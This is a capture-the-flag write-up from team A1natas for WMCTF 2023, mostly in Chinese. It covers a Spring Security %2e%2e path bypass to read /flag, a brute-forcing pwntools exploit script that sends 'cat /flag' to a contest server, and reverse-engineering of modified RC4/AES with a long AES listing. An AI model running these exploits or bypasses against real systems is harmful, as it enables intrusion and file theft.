A1natas 2023 WMCTF WriteUp

A1natas

2023-08-22

WriteUp

战队名称: A1natas

战队Token: GP8DlOfYK2hNaNaCgaNbif94xsqsXNu7G_l6hyTFmM8

22nd place 2818 points

一血: StegLab1-PointAttack

Web

AnyFileRead

spring-security的bypass，学习的链接是：https://zhuanlan.kanxue.com/article-23710.htm

能用%2e当作.

使用%2e%2e绕过，进入/admin路由，同时读取/tmp/…/flag即 /flag

Pwn

lindless

brainfuck + exit_hook + 爆破

from pwn import *
context.update(os='linux',arch='amd64')
binary='./blindless'
elf=ELF(binary)
libc=ELF('./libc.so.6')
# ld=ELF("./ld-linux-x86-64.so.2")
# debug=1
# if debug:
#     libc=elf.libc
#     p=process(binary)
# else:
#     host=''
#     port=''
#     p=remote(host,port)

libc_offset = 0x102ff0
libc_offset -= 0x2000

ld_offset = libc_offset + 0x1f4000
rdi_addr = ld_offset + 0x2e968
func_addr = ld_offset + 0x2ef68
# binsh = b"sh\x00"

def get_offset(offset):
    pay = p8(0x40) + p32(offset)
    return pay

def get_value(val):
    pay = p8(0x2e) + val + p8(0x3e)
    return pay

def pwn():
    pay = get_offset(func_addr)

    value = b"\xfe\x3a\x8e"
    for i in value:
        pay += get_value(i)

    pay += b'q'

    p.sendlineafter("Pls input the data size\n", str(0x100000))
    p.sendlineafter("Pls input the code size\n", str(0x100))

    p.recvuntil("Pls input your code\n")
    # gdb.attach(p, "b *$rebase(0x1313)")
    p.send(pay)

times = 0
while True:
    try:
        info(str(times) + " times")
        p = remote("1.13.101.243", 25829)
        # p = process(binary)
        pwn()
        p.sendline(b"cat /flag")
        # p.sendline(b"cat flag")
        res = p.recvline_contains(b'{', timeout = 1)
        print(res)
        p.interactive() 
    except:
        times = times + 1
        p.close()

Reverse

ezandroid

so层都是OLLVM，D810 去不掉，使用obpo可以去除混淆

JNI_OnLoad中有字符串混淆，这题又是动态注册函数

没有反调试，随便动调

sub_35A4和sub_3f0c就是函数指针，sub_35a4里有一个RC4

魔改的RC4,要动调看key或者frida Hook。但是frida有检测，动态调试进不去动态注册的函数，只能静态分析了。

RC4的cipher

接下来就可以解RC4得到username了

RC4是对称加密，直接把v22改成cipher的值，调用一下就能解出username了

接下来就一个AES解密

key是Re_1s_eaSy123456

cipher是

1 2	0x2B, 0xC8, 0x20, 0x8B, 0x5C, 0x0D, 0xA7, 0x9B, 0x2A, 0x51, 0x3A, 0xD2, 0x71, 0x71, 0xCA, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

sbox魔改了

sbox=[0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 
    0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 
    0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 
    0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 
    0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 
    0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 
    0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 
    0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 
    0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 
    0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 
    0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 
    0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 
    0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 
    0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 
    0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 
    0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12]

new_s_box = [0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 
    0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 
    0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 
    0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 
    0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 
    0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 
    0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 
    0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 
    0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 
    0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 
    0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 
    0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 
    0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 
    0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 
    0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 
    0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
]
new_contrary_sbox = [0]*256
for i in range(256):
    line = (new_s_box[i]&0xf0)>>4
    rol = new_s_box[i]&0xf
    new_contrary_sbox[(line*16)+rol] = i
print(new_contrary_sbox)
#计算inv_sbox

inv_sbox=[65, 232, 143, 54, 221, 132, 43, 210, 121, 32, 199, 110, 21, 188, 99, 10, 177, 88, 255, 166, 77, 244, 155, 66, 233, 144, 55, 222, 133, 44, 211, 122, 33, 200, 111, 22, 189, 100, 11, 178, 89, 0, 167, 78, 245, 156, 67, 234, 145, 56, 223, 134, 45, 212, 123, 34, 201, 112, 23, 190, 101, 12, 179, 90, 1, 168, 79, 246, 157, 68, 235, 146, 57, 224, 135, 46, 213, 124, 35, 202, 113, 24, 191, 102, 13, 180, 91, 2, 169, 80, 247, 158, 69, 236, 147, 58, 225, 136, 47, 214, 125, 36, 203, 114, 25, 192, 103, 14, 181, 92, 3, 170, 81, 248, 159, 70, 237, 148, 59, 226, 137, 48, 215, 126, 37, 204, 115, 26, 193, 104, 15, 182, 93, 4, 171, 82, 249, 160, 71, 238, 149, 60, 227, 138, 49, 216, 127, 38, 205, 116, 27, 194, 105, 16, 183, 94, 5, 172, 83, 250, 161, 72, 239, 150, 61, 228, 139, 50, 217, 128, 39, 206, 117, 28, 195, 106, 17, 184, 95, 6, 173, 84, 251, 162, 73, 240, 151, 62, 229, 140, 51, 218, 129, 40, 207, 118, 29, 196, 107, 18, 185, 96, 7, 174, 85, 252, 163, 74, 241, 152, 63, 230, 141, 52, 219, 130, 41, 208, 119, 30, 197, 108, 19, 186, 97, 8, 175, 86, 253, 164, 75, 242, 153, 64, 231, 142, 53, 220, 131, 42, 209, 120, 31, 198, 109, 20, 187, 98, 9, 176, 87, 254, 165, 76, 243, 154]

然后解密就能出了

头文件没有放上来

/*

This is an implementation of the AES algorithm, specifically ECB, CTR and CBC mode.
Block size can be chosen in aes.h - available choices are AES128, AES192, AES256.

The implementation is verified against the test vectors in:
  National Institute of Standards and Technology Special Publication 800-38A 2001 ED

ECB-AES128
----------

  plain-text:
    6bc1bee22e409f96e93d7e117393172a
    ae2d8a571e03ac9c9eb76fac45af8e51
    30c81c46a35ce411e5fbc1191a0a52ef
    f69f2445df4f9b17ad2b417be66c3710

  key:
    2b7e151628aed2a6abf7158809cf4f3c

  resulting cipher
    3ad77bb40d7a3660a89ecaf32466ef97 
    f5d3d58503b9699de785895a96fdbaaf 
    43b1cd7f598ece23881b00e3ed030688 
    7b0c785e27e8ad3f8223207104725dd4 


NOTE:   String length must be evenly divisible by 16byte (str_len % 16 == 0)
        You should pad the end of the string with zeros if this is not the case.
        For AES192/256 the key size is proportionally larger.

*/


/*****************************************************************************/
/* Includes:                                                                 */
/*****************************************************************************/
#include <stdint.h>
#include <string.h> // CBC mode, for memset
#include "aes.h"
#include <stdio.h>
/*****************************************************************************/
/* Defines:                                                                  */
/*****************************************************************************/
// The number of columns comprising a state in AES. This is a constant in AES. Value=4
#define Nb 4

#if defined(AES256) && (AES256 == 1)
    #define Nk 8
    #define Nr 14
#elif defined(AES192) && (AES192 == 1)
    #define Nk 6
    #define Nr 12
#else
    #define Nk 4        // The number of 32 bit words in a key.
    #define Nr 10       // The number of rounds in AES Cipher.
#endif

// jcallan@github points out that declaring Multiply as a function 
// reduces code size considerably with the Keil ARM compiler.
// See this link for more information: https://github.com/kokke/tiny-AES-C/pull/3
#ifndef MULTIPLY_AS_A_FUNCTION
  #define MULTIPLY_AS_A_FUNCTION 0
#endif




/*****************************************************************************/
/* Private variables:                                                        */
/*****************************************************************************/
// state - array holding the intermediate results during decryption.
typedef uint8_t state_t[4][4];



// The lookup-tables are marked const so they can be placed in read-only storage instead of RAM
// The numbers below can be computed dynamically trading ROM for RAM - 
// This can be useful in (embedded) bootloader applications, where ROM is often limited.
static const uint8_t sbox[256] = {
  //0     1    2      3     4    5     6     7      8    9     A      B    C     D     E     F

0x29, 0x40, 0x57, 0x6E, 0x85, 0x9C, 0xB3, 0xCA, 0xE1, 0xF8, 0x0F, 0x26, 0x3D, 0x54, 0x6B, 0x82, 
    0x99, 0xB0, 0xC7, 0xDE, 0xF5, 0x0C, 0x23, 0x3A, 0x51, 0x68, 0x7F, 0x96, 0xAD, 0xC4, 0xDB, 0xF2, 
    0x09, 0x20, 0x37, 0x4E, 0x65, 0x7C, 0x93, 0xAA, 0xC1, 0xD8, 0xEF, 0x06, 0x1D, 0x34, 0x4B, 0x62, 
    0x79, 0x90, 0xA7, 0xBE, 0xD5, 0xEC, 0x03, 0x1A, 0x31, 0x48, 0x5F, 0x76, 0x8D, 0xA4, 0xBB, 0xD2, 
    0xE9, 0x00, 0x17, 0x2E, 0x45, 0x5C, 0x73, 0x8A, 0xA1, 0xB8, 0xCF, 0xE6, 0xFD, 0x14, 0x2B, 0x42, 
    0x59, 0x70, 0x87, 0x9E, 0xB5, 0xCC, 0xE3, 0xFA, 0x11, 0x28, 0x3F, 0x56, 0x6D, 0x84, 0x9B, 0xB2, 
    0xC9, 0xE0, 0xF7, 0x0E, 0x25, 0x3C, 0x53, 0x6A, 0x81, 0x98, 0xAF, 0xC6, 0xDD, 0xF4, 0x0B, 0x22, 
    0x39, 0x50, 0x67, 0x7E, 0x95, 0xAC, 0xC3, 0xDA, 0xF1, 0x08, 0x1F, 0x36, 0x4D, 0x64, 0x7B, 0x92, 
    0xA9, 0xC0, 0xD7, 0xEE, 0x05, 0x1C, 0x33, 0x4A, 0x61, 0x78, 0x8F, 0xA6, 0xBD, 0xD4, 0xEB, 0x02, 
    0x19, 0x30, 0x47, 0x5E, 0x75, 0x8C, 0xA3, 0xBA, 0xD1, 0xE8, 0xFF, 0x16, 0x2D, 0x44, 0x5B, 0x72, 
    0x89, 0xA0, 0xB7, 0xCE, 0xE5, 0xFC, 0x13, 0x2A, 0x41, 0x58, 0x6F, 0x86, 0x9D, 0xB4, 0xCB, 0xE2, 
    0xF9, 0x10, 0x27, 0x3E, 0x55, 0x6C, 0x83, 0x9A, 0xB1, 0xC8, 0xDF, 0xF6, 0x0D, 0x24, 0x3B, 0x52, 
    0x69, 0x80, 0x97, 0xAE, 0xC5, 0xDC, 0xF3, 0x0A, 0x21, 0x38, 0x4F, 0x66, 0x7D, 0x94, 0xAB, 0xC2, 
    0xD9, 0xF0, 0x07, 0x1E, 0x35, 0x4C, 0x63, 0x7A, 0x91, 0xA8, 0xBF, 0xD6, 0xED, 0x04, 0x1B, 0x32, 
    0x49, 0x60, 0x77, 0x8E, 0xA5, 0xBC, 0xD3, 0xEA, 0x01, 0x18, 0x2F, 0x46, 0x5D, 0x74, 0x8B, 0xA2, 
    0xB9, 0xD0, 0xE7, 0xFE, 0x15, 0x2C, 0x43, 0x5A, 0x71, 0x88, 0x9F, 0xB6, 0xCD, 0xE4, 0xFB, 0x12
};
static const uint8_t rsbox[256] = {
	65, 232, 143, 54, 221, 132, 43, 210, 121, 32, 199, 110, 21, 188, 99, 10, 177, 88, 255, 166, 77, 244, 155, 66, 233, 144, 55, 222, 133, 44, 211, 122, 33, 200, 111, 22, 189, 100, 11, 178, 89, 0, 167, 78, 245, 156, 67, 234, 145, 56, 223, 134, 45, 212, 123, 34, 201, 112, 23, 190, 101, 12, 179, 90, 1, 168, 79, 246, 157, 68, 235, 146, 57, 224, 135, 46, 213, 124, 35, 202, 113, 24, 191, 102, 13, 180, 91, 2, 169, 80, 247, 158, 69, 236, 147, 58, 225, 136, 47, 214, 125, 36, 203, 114, 25, 192, 103, 14, 181, 92, 3, 170, 81, 248, 159, 70, 237, 148, 59, 226, 137, 48, 215, 126, 37, 204, 115, 26, 193, 104, 15, 182, 93, 4, 171, 82, 249, 160, 71, 238, 149, 60, 227, 138, 49, 216, 127, 38, 205, 116, 27, 194, 105, 16, 183, 94, 5, 172, 83, 250, 161, 72, 239, 150, 61, 228, 139, 50, 217, 128, 39, 206, 117, 28, 195, 106, 17, 184, 95, 6, 173, 84, 251, 162, 73, 240, 151, 62, 229, 140, 51, 218, 129, 40, 207, 118, 29, 196, 107, 18, 185, 96, 7, 174, 85, 252, 163, 74, 241, 152, 63, 230, 141, 52, 219, 130, 41, 208, 119, 30, 197, 108, 19, 186, 97, 8, 175, 86, 253, 164, 75, 242, 153, 64, 231, 142, 53, 220, 131, 42, 209, 120, 31, 198, 109, 20, 187, 98, 9, 176, 87, 254, 165, 76, 243, 154
};
// The round constant word array, Rcon[i], contains the values given by 
// x to the power (i-1) being powers of x (x is denoted as {02}) in the field GF(2^8)
static const uint8_t Rcon[11] = {
  0x8d, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36 };

/*
 * Jordan Goulder points out in PR #12 (https://github.com/kokke/tiny-AES-C/pull/12),
 * that you can remove most of the elements in the Rcon array, because they are unused.
 *
 * From Wikipedia's article on the Rijndael key schedule @ https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon
 * 
 * "Only the first some of these constants are actually used – up to rcon[10] for AES-128 (as 11 round keys are needed), 
 *  up to rcon[8] for AES-192, up to rcon[7] for AES-256. rcon[0] is not used in AES algorithm."
 */


/*****************************************************************************/
/* Private functions:                                                        */
/*****************************************************************************/
/*
static uint8_t getSBoxValue(uint8_t num)
{
  return sbox[num];
}
*/
#define getSBoxValue(num) (sbox[(num)])
/*
static uint8_t getSBoxInvert(uint8_t num)
{
  return rsbox[num];
}
*/
#define getSBoxInvert(num) (rsbox[(num)])

// This function produces Nb(Nr+1) round keys. The round keys are used in each round to decrypt the states. 
static void KeyExpansion(uint8_t* RoundKey, const uint8_t* Key)
{
  unsigned i, j, k;
  uint8_t tempa[4]; // Used for the column/row operations
  
  // The first round key is the key itself.
  for (i = 0; i < Nk; ++i)
  {
    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];
    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];
    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];
    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];
  }

  // All other round keys are found from the previous round keys.
  for (i = Nk; i < Nb * (Nr + 1); ++i)
  {
    {
      k = (i - 1) * 4;
      tempa[0]=RoundKey[k + 0];
      tempa[1]=RoundKey[k + 1];
      tempa[2]=RoundKey[k + 2];
      tempa[3]=RoundKey[k + 3];

    }

    if (i % Nk == 0)
    {
      // This function shifts the 4 bytes in a word to the left once.
      // [a0,a1,a2,a3] becomes [a1,a2,a3,a0]

      // Function RotWord()
      {
        const uint8_t u8tmp = tempa[0];
        tempa[0] = tempa[1];
        tempa[1] = tempa[2];
        tempa[2] = tempa[3];
        tempa[3] = u8tmp;
      }

      // SubWord() is a function that takes a four-byte input word and 
      // applies the S-box to each of the four bytes to produce an output word.

      // Function Subword()
      {
        tempa[0] = getSBoxValue(tempa[0]);
        tempa[1] = getSBoxValue(tempa[1]);
        tempa[2] = getSBoxValue(tempa[2]);
        tempa[3] = getSBoxValue(tempa[3]);
      }

      tempa[0] = tempa[0] ^ Rcon[i/Nk];
    }
#if defined(AES256) && (AES256 == 1)
    if (i % Nk == 4)
    {
      // Function Subword()
      {
        tempa[0] = getSBoxValue(tempa[0]);
        tempa[1] = getSBoxValue(tempa[1]);
        tempa[2] = getSBoxValue(tempa[2]);
        tempa[3] = getSBoxValue(tempa[3]);
      }
    }
#endif
    j = i * 4; k=(i - Nk) * 4;
    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
  }
}

void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
{
  KeyExpansion(ctx->RoundKey, key);
}
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
{
  KeyExpansion(ctx->RoundKey, key);
  memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
{
  memcpy (ctx->Iv, iv, AES_BLOCKLEN);
}
#endif

// This function adds the round key to state.
// The round key is added to the state by an XOR function.
static void AddRoundKey(uint8_t round,state_t* state,uint8_t* RoundKey)
{
  uint8_t i,j;
  for (i = 0; i < 4; ++i)
  {
    for (j = 0; j < 4; ++j)
    {
      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
    }
  }
}

// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void SubBytes(state_t* state)
{
  uint8_t i, j;
  for (i = 0; i < 4; ++i)
  {
    for (j = 0; j < 4; ++j)
    {
      (*state)[j][i] = getSBoxValue((*state)[j][i]);
    }
  }
}

// The ShiftRows() function shifts the rows in the state to the left.
// Each row is shifted with different offset.
// Offset = Row number. So the first row is not shifted.
static void ShiftRows(state_t* state)
{
  uint8_t temp;

  // Rotate first row 1 columns to left  
  temp           = (*state)[0][1];
  (*state)[0][1] = (*state)[1][1];
  (*state)[1][1] = (*state)[2][1];
  (*state)[2][1] = (*state)[3][1];
  (*state)[3][1] = temp;

  // Rotate second row 2 columns to left  
  temp           = (*state)[0][2];
  (*state)[0][2] = (*state)[2][2];
  (*state)[2][2] = temp;

  temp           = (*state)[1][2];
  (*state)[1][2] = (*state)[3][2];
  (*state)[3][2] = temp;

  // Rotate third row 3 columns to left
  temp           = (*state)[0][3];
  (*state)[0][3] = (*state)[3][3];
  (*state)[3][3] = (*state)[2][3];
  (*state)[2][3] = (*state)[1][3];
  (*state)[1][3] = temp;
}

static uint8_t xtime(uint8_t x)
{
  return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
}

// MixColumns function mixes the columns of the state matrix
static void MixColumns(state_t* state)
{
  uint8_t i;
  uint8_t Tmp, Tm, t;
  for (i = 0; i < 4; ++i)
  {  
    t   = (*state)[i][0];
    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
    Tm  = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm);  (*state)[i][0] ^= Tm ^ Tmp ;
    Tm  = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm);  (*state)[i][1] ^= Tm ^ Tmp ;
    Tm  = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm);  (*state)[i][2] ^= Tm ^ Tmp ;
    Tm  = (*state)[i][3] ^ t ;              Tm = xtime(Tm);  (*state)[i][3] ^= Tm ^ Tmp ;
  }
}

// Multiply is used to multiply numbers in the field GF(2^8)
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
//       The compiler seems to be able to vectorize the operation better this way.
//       See https://github.com/kokke/tiny-AES-c/pull/34
#if MULTIPLY_AS_A_FUNCTION
static uint8_t Multiply(uint8_t x, uint8_t y)
{
  return (((y & 1) * x) ^
       ((y>>1 & 1) * xtime(x)) ^
       ((y>>2 & 1) * xtime(xtime(x))) ^
       ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
       ((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
  }
#else
#define Multiply(x, y)                                \
      (  ((y & 1) * x) ^                              \
      ((y>>1 & 1) * xtime(x)) ^                       \
      ((y>>2 & 1) * xtime(xtime(x))) ^                \
      ((y>>3 & 1) * xtime(xtime(xtime(x)))) ^         \
      ((y>>4 & 1) * xtime(xtime(xtime(xtime(x))))))   \

#endif

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
// MixColumns function mixes the columns of the state matrix.
// The method used to multiply may be difficult to understand for the inexperienced.
// Please use the references to gain more information.
static void InvMixColumns(state_t* state)
{
  int i;
  uint8_t a, b, c, d;
  for (i = 0; i < 4; ++i)
  { 
    a = (*state)[i][0];
    b = (*state)[i][1];
    c = (*state)[i][2];
    d = (*state)[i][3];

    (*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
    (*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
    (*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
    (*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
  }
}


// The SubBytes Function Substitutes the values in the
// state matrix with values in an S-box.
static void InvSubBytes(state_t* state)
{
  uint8_t i, j;
  for (i = 0; i < 4; ++i)
  {
    for (j = 0; j < 4; ++j)
    {
      (*state)[j][i] = getSBoxInvert((*state)[j][i]);
    }
  }
}

static void InvShiftRows(state_t* state)
{
  uint8_t temp;

  // Rotate first row 1 columns to right  
  temp = (*state)[3][1];
  (*state)[3][1] = (*state)[2][1];
  (*state)[2][1] = (*state)[1][1];
  (*state)[1][1] = (*state)[0][1];
  (*state)[0][1] = temp;

  // Rotate second row 2 columns to right 
  temp = (*state)[0][2];
  (*state)[0][2] = (*state)[2][2];
  (*state)[2][2] = temp;

  temp = (*state)[1][2];
  (*state)[1][2] = (*state)[3][2];
  (*state)[3][2] = temp;

  // Rotate third row 3 columns to right
  temp = (*state)[0][3];
  (*state)[0][3] = (*state)[1][3];
  (*state)[1][3] = (*state)[2][3];
  (*state)[2][3] = (*state)[3][3];
  (*state)[3][3] = temp;
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

// Cipher is the main function that encrypts the PlainText.
static void Cipher(state_t* state, uint8_t* RoundKey)
{
  uint8_t round = 0;

  // Add the First round key to the state before starting the rounds.
  AddRoundKey(0, state, RoundKey); 
  
  // There will be Nr rounds.
  // The first Nr-1 rounds are identical.
  // These Nr-1 rounds are executed in the loop below.
  for (round = 1; round < Nr; ++round)
  {
    SubBytes(state);
    ShiftRows(state);
    MixColumns(state);
    AddRoundKey(round, state, RoundKey);
  }
  
  // The last round is given below.
  // The MixColumns function is not here in the last round.
  SubBytes(state);
  ShiftRows(state);
  AddRoundKey(Nr, state, RoundKey);
}

#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
static void InvCipher(state_t* state,uint8_t* RoundKey)
{
  uint8_t round = 0;

  // Add the First round key to the state before starting the rounds.
  AddRoundKey(Nr, state, RoundKey); 

  // There will be Nr rounds.
  // The first Nr-1 rounds are identical.
  // These Nr-1 rounds are executed in the loop below.
  for (round = (Nr - 1); round > 0; --round)
  {
    InvShiftRows(state);
    InvSubBytes(state);
    AddRoundKey(round, state, RoundKey);
    InvMixColumns(state);
  }
  
  // The last round is given below.
  // The MixColumns function is not here in the last round.
  InvShiftRows(state);
  InvSubBytes(state);
  AddRoundKey(0, state, RoundKey);
}
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)

/*****************************************************************************/
/* Public functions:                                                         */
/*****************************************************************************/
#if defined(ECB) && (ECB == 1)


void AES_ECB_encrypt(struct AES_ctx *ctx, uint8_t* buf)
{
  // The next function call encrypts the PlainText with the Key using AES algorithm.
  Cipher((state_t*)buf, ctx->RoundKey);
}

void AES_ECB_decrypt(struct AES_ctx* ctx, uint8_t* buf)
{
  // The next function call decrypts the PlainText with the Key using AES algorithm.
  InvCipher((state_t*)buf, ctx->RoundKey);
}


#endif // #if defined(ECB) && (ECB == 1)





#if defined(CBC) && (CBC == 1)


static void XorWithIv(uint8_t* buf, uint8_t* Iv)
{
  uint8_t i;
  for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
  {
    buf[i] ^= Iv[i];
  }
}

void AES_CBC_encrypt_buffer(struct AES_ctx *ctx,uint8_t* buf, uint32_t length)
{
  uintptr_t i;
  uint8_t *Iv = ctx->Iv;
  for (i = 0; i < length; i += AES_BLOCKLEN)
  {
    XorWithIv(buf, Iv);
    Cipher((state_t*)buf, ctx->RoundKey);
    Iv = buf;
    buf += AES_BLOCKLEN;
    //printf("Step %d - %d", i/16, i);
  }
  /* store Iv in ctx for next call */
  memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
}

void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf,  uint32_t length)
{
  uintptr_t i;
  uint8_t storeNextIv[AES_BLOCKLEN];
  for (i = 0; i < length; i += AES_BLOCKLEN)
  {
    memcpy(storeNextIv, buf, AES_BLOCKLEN);
    InvCipher((state_t*)buf, ctx->RoundKey);
    XorWithIv(buf, ctx->Iv);
    memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
    buf += AES_BLOCKLEN;
  }

}

#endif // #if defined(CBC) && (CBC == 1)



#if defined(CTR) && (CTR == 1)

/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, uint32_t length)
{
  uint8_t buffer[AES_BLOCKLEN];
  
  unsigned i;
  int bi;
  for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
  {
    if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
    {
      
      memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
